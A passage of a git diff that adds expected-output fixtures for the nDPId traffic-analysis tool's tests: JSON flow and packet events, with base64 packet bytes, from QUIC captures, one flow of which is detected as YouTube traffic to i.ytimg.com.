w6VnWSCLdmLqt0viDh+YB2F0HXj1CeO1nSSCwaJyrwevh+JMhr28U4GZuq\/8iOyCT32qzGATTob0blSixKNU0nrsG\/edv7ffcTSflocJCCoGDIPz5k\/SvGRZr2+wiLlOODRBoy+Hp\/ZoR0zRh3yZNqocZlkDIUTBKznO5qQE5ST89RU+D9ITBzSFrjm0vj762yqIYQn7atyujrlIguI69oV7Uc6Yk350ppgZezdDQW6ZtU0dlUnsQnioVaxPeehgPzqL73Erfq9hevik1cXRfPmRlZ5pO1Uw4ylyXLqBwN6FTuhy3MlBp6n\/uhx+oAHZ4OKTas4oRg+Hw0eqVSVAp7\/31bth7tMA\/d\/QvSAq+SGeu\/ZG8PJfRr\/JAqIBREhfI7VSdydJ\/Z8i5liX3t3RBpoNk4MnqDqqqN3fEq7DG2oT6\/HH2wCLRl+a6gq1ey+VHx4cA77wpcJJa18slC8C6\/YCKR3WSTuahSzjf0ZxyWpoeo7O6oRO+Cf57SxWUyMRunJe5haUE5DRgyRVgDq2A0is4tTVlm\/kJfuyqmGi5p1nqgG4qZEBGwfhr0y5gpp3Lx1VLOMafrWWWhBqBpNd8pBfh3SRrpJOttXDmB5hqTwMLYFH2ZLTlx3d8IpZ2D4ldgsY6R1koCzsXCTalO+Pzz4uWCC4Zgch2qTWN\/OFSWw0up88D1VEWTiWMRCVc2kK93LkjpiwYYtmTKan6lA2pfFrIbq54rA63o9eAcfmJNpm5SHUiiJ78V4tPR+3\/h7u1nPyawsC3CxXYhI80NKw0S1ifJ3ROu9Uht4TB0mSZIC37xbVJMRc5V7yHr7jMm7HC2uupUP1EvqAJK4hH0WsmillshZ+c+wEwn3C6AoDqkGE7zn+N+irKocjnIy+AKnwAzm5gaUvZQOAvBOpmTUIIS9nUO++9vi09y0u\/cjZnJdoUdZLnEnwVJbXzl4\/5Pb90Xl4nkZG4lnlw4iWwugzfcKv2gmQrcj7fgBoWmUFb7\/Al1Gqv8kDW4YFYljNOnSb2zx4pIFrtDsnSHDjAGCcpqBJfAF0pU1prbVA1xeAIziexP+bu2yxJQUbJ5c91WDE8sAsHyx0U6W0KaPB37KCcOeRdPh5DyE0TXWkBvFFdLL8bPo1DuyiGwAN58Tf6RNwW84tYPmvorpDe4A6SYnvb0FQMw9xhbrYe85U0F28h\/Xu9WAQdT9YFiGPEpyXb5ViEL1AiSGEH"} +01956{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":428518,"pkt_caplen":1188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1188,"pkt_l4_len":1154,"pkt":"ABlmWmaM6HTmLPTkCABFAASWG1YAADQR+eLYOtLOwKgBbQG7iaQEgrfkAAnf4DCMrsUbO\/ngChm3BUxvj6ihF711mBPSXPVFdDhpSOtcrbvY1KsY0f4vCqIi1MXzoSbEcl8CFyGdECH08WWlYgy6GmXJ+IpdKgMRIunQ0WNk82BxUlyvqQQzyafpjH4+5Y814Kb4YgqBF\/zJ7AWokLdMqZd2sh5fS4lv7RgAT+IwyMSp23pRzGxvNPTD\/VBqoMIIcR0xsXYQ7cIRDkEghEXLz\/miWktIBLJB+76uq2WcJL1iRBTB7BrhW3xzrub2U\/qksP\/rNCTPyoRaGvkcD6kS+cZjUHuSBrbBFfY\/kFvtiyzOt+1dUS2H5WvK\/e9cdd4hZTdVW8z0+NuWpQ650nDVcLNHwpcvT8Y7kFGRH1aJWlNwYnCjjhjFGL4WJ0nGves2K55q9L1NWMo60zkIPt2gSkDN7ic5vrsZJo2pbLNjLoHl26mIrU9iwWWlSyPBJw0zLkVPJRtg6rCHPZRO8DI39uhPGktSe6PgYTZq3cvhG3I+WHymsGbmr3SWPKy2nJ5Icb5lItEcNjwBHM8VuWWpEFkLmCY1DSf0YTyNPXH0ray\/Zb9BueH0uIEmJpW9lIgxkUn8Fne\/+5B8hXt+Fn3ULzd4BLoKH5WoQuZW4dB0BAizlUCv7XkBpKL1jJ\/Xa0ynkC0\/GM+6y6rPY\/N2RBKBls946wbH1MamdLsvuDy0J+CIMnAU1VbKQfcuzVTDU6PyCd5vjc6L39DK9LfYRwahFhdDInWWn6Z1liwAY0utnhWQfYKSQJW3tgH6I3sxruO6UxMDcvLVAywZuAtwP5usEfc9neWEWSGAS94nId1TSYp\/UnV2jfx6M+\/eMtUpc3UoXcMVDvYRCMagfHcjPYbOvaBXufrlERvzBra4C62\/8Z8sz6eWaljp7aAzDuKzSv31lgrX9j0JQF5yFUGWET+shJydWdq9Y9lg4eDmqzM1DwA7N9pEuyM\/BI9BypXeQmpVKTaerJ\/uedM64ldi40vJlWQi\/6fsYMZjeCnF7d2WXDVfBiu\/EtHx5p7cDiKTY6u3IcWJP+WvWIfbyrSDxy8ul9ZxbCK2KP2dJslbz5i10BRktzGiNojUoZji5U6mCs9XEQk6Veq09SpgVmPX1kSE+3SW8D\/uGNOm1fmyOP\/xKDgMBCTeFDgZZgVZV1oq\/p2X0qeAs+5fQFsMMtl6tY4Bt5P3ohcc0Oxg8FEqUHyM6zRnP15PIOpxxlN\/\/s4SZSt\/aMq\/IPg2lPmc9CpcJMS0L8LVIyaDXcScO1DvsyEALATmTDycfe2+tthjTeQnxlEsN5sjob5ccENZo1PjR6HhP2LlJJ2bD4T5tGRBb1rdnIqtT8v8ksY+Yc0uO63TLrkRWlws+y6ccPBHNJzsgcal11JK8nMhJeJlFRIt2rf3Hapg5hwia\/UuQUfF+4cWZc9DvUL3MSuO2Ox\/iCroKvXeyNPw3CVhgyihJPqrOqtB4BuzMAouyKKIjCC2KhyXI+JgP1S2E9CCp7Lj\/eDne2tDHDryZxZ1lwQJntiYx7Y32qZi\/GVd"} diff --git a/test/results/quic046.pcap.out b/test/results/quic046.pcap.out new file mode 100644 index 000000000..a26e272ef --- /dev/null +++ b/test/results/quic046.pcap.out @@ -0,0 +1,17 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic046.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1584456191933,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.236","dst_ip":"216.58.206.86","src_port":50587,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02202{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":933380,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ILABHGh4AJqdnpsZCABFAAViVw9AAIARNVbAqAHs2DrOVsWbAbsFTsB3w1EwNDZQtKT59fQu3TkAAAABmZPTs83+bYJOmUXloAEEAENITE8ZAAAAUEFEAPABAABTTkkA+wEAAFNUSwAxAgAAVkVSADUCAABDQ1MARQIAAE5PTkNlAgAAQUVBRGkCAABVQUlEmAIAAFNDSUSoAgAAVENJRKwCAABQRE1EsAIAAFNNSEy0AgAASUNTTLgCAABOT05Q2AIAAFBVQlP4AgAATUlEU\/wCAABTQ0xTAAMAAEtFWFMEAwAAWExDVAwDAABDU0NUDAMAAENPUFQUAwAAQ0NSVCQDAABJUlRUKAMAAENGQ1csAwAAU0ZDVzADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0taS55dGltZy5jb23iUlTd91Wbyacedc4KWbvYAO9ezSoYOG3jhMeQafLfpHKvILz9Ye+me5P5nrw5Y\/leQsX7MclRMDQ2AeiBYJKSGuh+7YCGohWCkV5w4f4wMDAwMDAwML0xAKSRUT2iY62vYCLSlIfkuoKwQUVTR0Nocm9tZS84MC4wLjM5ODcuMTMyIFdpbmRvd3MgTlQgNi4zOyBXaW42NDsgeDY0mMqP9vF+kzJdLqfvNTDv5wAAAABYNTA5AQAAAB4AAABhJXvQ9+6Hu83ruEOa1Y6Y5fjbWd3ky8\/JdT+d+\/AZZsvZnn1BDAzSykK3Urbw\/IrLoBtlbcpqYoDEomljzhkwZAAAAAEAAABDMjU18ubMxD2HxlI1UlRPQUNLRPLmzMQ9h8ZSYDLLkqBBTd\/6RwAAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00631{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic046.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1584456191933,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.236","dst_ip":"216.58.206.86","src_port":50587,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"i.ytimg.com","user_agent":"Chrome\/80.0.3987.132 Windows NT 6.3; Win64; x64"}} +01113{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":934367,"pkt_caplen":574,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":574,"pkt_l4_len":540,"pkt":"ILABHGh4AJqdnpsZCABFAAIwVxBAAIAROIfAqAHs2DrOVsWbAbsCHCGo01EwNDZQtKT59fQu3TkAAAAChrDGo43cDq7OAgdbv23GehH0jM01fB5SqCBHGsm4tNDoSAuylkVeyVU1nO51BVLZDdQpzNO9j8lf2o\/kFvxF1keBb1V8bWQbm4GDCTzD9DJbwk6JCzbiEHbQt2\/y4DufAauHa+qhpg6F7I1VBRA5chHzaHSfbKq18eEDQ2D7fby9uiPXDB6cfTGjCACXfFYXGo9zhyaFNtzZv4x3bPv04LGnwloRH845hLIF6d5Y+oKP0inx4RVaOxEjSkSubSvYLun8u1+DAfAvr3DdmGZRAp60H0VhNkgFDR0TK1bvdtwD\/6cndHRtyUINoQIRApDi1wb1MmCAOOvL7steTPHXY5nIkaq4iXTy+WyGwwX1EiuR+wqkWZoB8nUqj3ZqApzNfexl+c7aCawPzdHT3P5zDq7dSyz1wAkXCTveL49FopZWy\/uuB+P5RJbaGpw3CvzBYR4o98uBght36oYbWpopqUw9u0okr+r3kEm4Q75LZzqLS97VgZsNPml00CwyHuDEnhiPWf19O4H99TJdYurnXZ+SQi1Zt2RI1GgBrEOAj7V7V\/6W2VgqcYkPqL1UO6lW\/zp\/K8LZMma1gVsHh4jJ1oXnE7Qjtqi9Um0bkNgFqZBX1s4cYf2FTDL0Lgyu2DOK3ATmX6nv91Qh9\/msYcWCN59XOhhsFRlmXSuc2N2TzOTtWg=="} +00509{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":934926,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"ILABHGh4AJqdnpsZCABFAAByVxFAAIAROkTAqAHs2DrOVsWbAbsAXuOl01EwNDZQtKT59fQu3TkAAAADQ7oFqOGvWa6mhIUAfFpbpAofPEreEA\/GGklYOasxEedYwPIHZE9zXMBgbnX+9bPuSN5MQzRW31QsSe2iJHxiKYqGbP8="} +00611{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":935486,"pkt_caplen":201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":201,"pkt_l4_len":167,"pkt":"ILABHGh4AJqdnpsZCABFAAC7VxJAAIAROfrAqAHs2DrOVsWbAbsApysy01EwNDZQtKT59fQu3TkAAAAEGoZh\/DwxLtrSzyqJ854Roncx5Gs7D0zANVDYJDSq9ZjYOSmqwn64xE\/98TQx5UDzJnhlqKbtmmx9GdNWBnvHPQrhtlm4nc0GLmpl3475rXaAwmI8156+n7Ch4C0\/lA4\/34ra3CYyszqi2R+muQnBfwOAYH3\/4zLKmFK11tcYmY3Yy+jQ\/7Jp25HEdC4A"} +00609{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":936043,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ILABHGh4AJqdnpsZCABFAAC5VxNAAIAROfvAqAHs2DrOVsWbAbsApRlJ01EwNDZQtKT59fQu3TkAAAAFpShUaKLmTN2T3Ey7BEBxhhlPz\/mI42X6i3+zIvnvGPOAlaAMy0sQAcxegKQRA1QQwNG9N\/8cy92QCI0CXWZ1odCXSax157XF7S\/xa+HfI8d71opbqWvA7umD5My\/CObMYgq6GFbFgtUgONNyTSlCdXpaygRYfMn++j4RkGiGTRdqEUPLH8obgjwk1Q=="} +00605{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":936635,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ILABHGh4AJqdnpsZCABFAAC5VxRAAIAROfrAqAHs2DrOVsWbAbsApdPk01EwNDZQtKT59fQu3TkAAAAGIPeAiZm0TRMrGAST9thHsWc9UL9IJkp2umlnUQCCw0QHFEP8w0167dP8QkdecMpcCv5H41qfUfxopmrL5LmQSLRq8TSO12ukC6jtYXervASPtZRz6yKXYPaTAKBHIGtKIb7Z9SwnomSSaCSzdYic5oW34pqe7z4mrO60TvD2TadrhJYrQsYK80Xi3g=="} +00608{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":937208,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"ILABHGh4AJqdnpsZCABFAAC6VxVAAIAROfjAqAHs2DrOVsWbAbsApl7C01EwNDZQtKT59fQu3TkAAAAHaRG+H8zt\/Q56A5+blzCESuLZedI84prNcnBFDuGPHXxe4EDs3altQ+2reMHbIzy2ZXA2tJ9b4eYF+TBwhof7hqVDnQiIrzfHPGcDKOjGPszc7hgTtrzNLTjP8YzpZ3oLwl+e2EDQiSr\/RpNjP77yeb\/YckQ334P5AAXcGvPrnGR9EblqT726UCgqQaE="} +00607{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":937792,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ILABHGh4AJqdnpsZCABFAAC5VxZAAIAROfjAqAHs2DrOVsWbAbsApUHQ01EwNDZQtKT59fQu3TkAAAAIN1YykhG6PpDIIC2tqjMV+4SaiMjViMw235cn4BAOx+aQyOU1ekGdt1hWlvcqDx6Xnb7lYEuIlAwJMyg\/wrc4D54Ge+e5+\/mwC+I9epq6RFNofqSKMGmGzOtnYglnIW690RDTzwhCIvD08s2q5bGYp10xBwL8G14bIWoKFMxNOT9XgVxu04PYTx0GJA=="} +00617{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":938398,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"ILABHGh4AJqdnpsZCABFAAC\/VxdAAIAROfHAqAHs2DrOVsWbAbsAqwii01EwNDZQtKT59fQu3TkAAAAJcm4lhOVp0g8NaOQxyT9XtH5tjvYBDfIqVPdiPRnorb5PDHBeItWO9O2oNwpcjaIYcaPXkrvGUurk7gKh4936UL8g2lBVr4usdZlKRQqw7zkrNDIJAzzNli9JIl\/ALXigyo8DiNjHJItR221ob4jQ3NUU15d\/\/p3XgqAQNbqE+wt8K+hXWoCspOkXagjORrvHZA=="} +00612{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":939108,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"ILABHGh4AJqdnpsZCABFAAC8VxhAAIAROfPAqAHs2DrOVsWbAbsAqLZe01EwNDZQtKT59fQu3TkAAAAKUQ7imkleUDHLt+ZwddvXR+uJ7LT1gCqELAMx0BUJTVePtovvbbj\/PzLrkphuOCQBgXzy2Af3TZ1A2pra80MVYlVZFLzckmkQkYlNPZK0mEFxRXocD7XNPbmiNiaUv1opexKLAgHbf1ay1j1+OFgMGIhqvvhJyfIF+VNUTAKBo6pjdMAyO2luOnCm5vqRzw=="} +02204{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":960333,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ILABHGh4AJqdnpsZCABFAAViVxlAAIARNUzAqAHs2DrOVsWbAbsFTjF0w1EwNDZQtKT59fQu3TkAAAALwzDf+NRpmHudyh5noAEEAENITE8ZAAAAUEFEAPABAABTTkkA+wEAAFNUSwAxAgAAVkVSADUCAABDQ1MARQIAAE5PTkNlAgAAQUVBRGkCAABVQUlEmAIAAFNDSUSoAgAAVENJRKwCAABQRE1EsAIAAFNNSEy0AgAASUNTTLgCAABOT05Q2AIAAFBVQlP4AgAATUlEU\/wCAABTQ0xTAAMAAEtFWFMEAwAAWExDVAwDAABDU0NUDAMAAENPUFQUAwAAQ0NSVCQDAABJUlRUKAMAAENGQ1csAwAAU0ZDVzADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0taS55dGltZy5jb23iUlTd91Wbyacedc4KWbvYAO9ezSoYOG3jhMeQafLfpHKvILz9Ye+me5P5nrw5Y\/leQsX7MclRMDQ2AeiBYJKSGuh+7YCGohWCkV5w4f4wMDAwMDAwML0xAKSRUT2iY62vYCLSlIfkuoKwQUVTR0Nocm9tZS84MC4wLjM5ODcuMTMyIFdpbmRvd3MgTlQgNi4zOyBXaW42NDsgeDY0mMqP9vF+kzJdLqfvNTDv5wAAAABYNTA5AQAAAB4AAABhJXvQ9+6Hu83ruEOa1Y6Y5fjbWd3ky8\/JdT+d+\/AZZsvZnn1BDAzSykK3Urbw\/IrLoBtlbcpqYoDEomljzhkwZAAAAAEAAABDMjU18ubMxD2HxlI1UlRPQUNLRPLmzMQ9h8ZSYDLLkqBBTd\/6RwAAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02227{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":962849,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AJqdnpsZILABHGh4CABFAAViAABAADcR1WXYOs5WwKgB7AG7xZsFTifx01EwNDYFtKT59fQu3TkAAAAB8W4vCXdAPLL8nF++dhc02DO7E5uZtXVJLOZwEjHVmS+CRX+B5qZIUvuRvGrzVCkQZccVs6fxXCuE4E\/UKL1X9ho1MsH\/C+J3nmSkOXkREacFq3M6PWaxDL7WMUPS8Lf24B4phlXUkIDIaZHxWMTLVkXAHE0mj+iApc+hjpE+d\/eA7kLWVJXebNToMZvYcRtvCr7GG8c+wkVx\/b\/RIDAPYGwuFb20ok\/DY+RKW6FNqyeRB4xIaCmZmaEWgGQF0dfb1BVo8fZ4JjjymGJIIM5uOjs4aM5FIMeq9JFmZu3ICVl8dYicYBaFtfBr1Mj4iUqZj8ph2eM8+yr1BKxWXZDZs4haXeXhTkD0yhG9zjnERuErQOSHW5PwnAx9HTNInC6Ub+TOJDZIao0wGWx6\/\/7RACsFFD52snwBVygKo8fBOY3dIcDz1fgpnpajGj4cEoTYD0kBGgqBU3XlMeaF8mFGn1UGzuJYH+FhH1RrBqRnQNHTofhTceqORWsS2qSbUX3InxDxf1MLOs3BUJoDU2CAExXT3t0HPxGl65+RPH2heGjigXbV0c8R1SrzR9OqbL+YHHmzXynwoJ8Pi8vQ1WWBLabNmagwhrY4c\/BMGegR8pNULjHWttmKFFtE4IKMqPWFDoAZf2UuOewxducqyBkFSNg5zHeIbNC9ZjDeMBMbhHRcABROm0KklT3Giv1MrM2BAeVhB9Bhg+zcd83zVuK8jPOFVf9rU1wD\/d4+4bgWHR2dGAvGIxhc6Z8+SF3k5SuhjUTC\/GKEkf0nD\/LHkox15iU3TEfNrW425RFkFhiCrkXs3H3oV1GzSAvMLY00qr\/buM9s13PGDXQjX8FJ6Eq0mWmi+V7it6aW9dgPFabIVp8M+IIYygXK07fmA+eI3guV1aQBmhm8\/DRA19cZQGU0sZhrDNt8fHqzPoax+TgRWKJEbptyTDIArcxRhfmMCs5M8ujHYRRkStpbJutocpYkoVWq6\/Qx4i204cK\/dn7q1fxQeUJ9bLbjU8RoX9DQ9Ug3l5LrL1hk7JB3vvB2whUTElCyyYu1bkCeuGjdneL\/ah2ltmCSEBAkLVaSj4G+hthkyRjj0RPXZO6cfgNTf0L7nUh1YuNc+NtHip7av6cjdJ1pyov4SSVPz3pnlPMSO+Bev\/zIjB7NJspjvMB8eoHXqDdoXy5ekA0pOG66hHM8ZAomJHd1jyWvW5CHqnjRt71m10xsX8gTG2Kl7\/8aSW4eafOBN\/yrp+75qizg\/QiSQMnPSfNFW4GmHopy38eZhRoDbyJtPPl\/O56BzPRzHKlqsavK5WdhZHhiVsquCcs7zrBfDzLipUF9R8XdAQlklI4Jc0PqXFJhUnx4hJg9mqZ01GrbiETpXamgJSfDALkXaLc43xeHYhgf\/B95EhPc8QK8HIONORZZ\/isyxcxcwQg5hKnQoh3abPCCgzz7MPEzS+DjCSKPWMrpKyuOI31m\/ndXyRszdFeWUSMCipKO2R+p2gLItD70d5HgtJEwny1xw9+yYbZki726yx6PCzPJirkhkyNwPoJXDIdI4doqEALiQO8QBBi03K\/gV0yzKLlzItj80ql0QNfdHQMkadNmGNqWZd0KdxNz5KP1P1exis2NdFkWfuatSJ197YOyrsF09WYxqUEaxyT1Kp5+KH\/Z0K9Ikr9a+19MPQalzXiKDijaspgPYXmsk5wkbJEMaBp\/hQ8KERY0Tq53MzFLhrN6g6BVSJ50tNJuSkd6zUsE7VHHPvVde8Brmlji9aJIJbebW\/y4+b49"} +00705{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":963272,"pkt_caplen":269,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":269,"pkt_l4_len":235,"pkt":"AJqdnpsZILABHGh4CABFAAD\/AABAADgR2MjYOs5WwKgB7AG7xZsA6x+iQAIyyA8Hh0m4bZdW42gZxuJGjnC1NVNo019gw246djPBq+O1rkBSBlV47fUDNFoD1rcyW3VA2Jwm277ag1xX1aphBr+2VmvzfrZi9Yd+oW\/hpNmzYiTyxMPLBgyrS\/yUtwO0olISYQ3Sx83\/a9UJNp3n\/w7f0omy2ENTYMfvjgjmxj1FxS7UFmbk4Jkp0afE47UqGDLnxprAweKcbd+cUyhHjjW6AZzubY3H+Q7MaCWDLYH+udDVK8w\/6Qe7I354uH4J9P2N5gzVfj9wWBS3t03Jdj222Z4OFIbKRyC2I0UMcnA="} 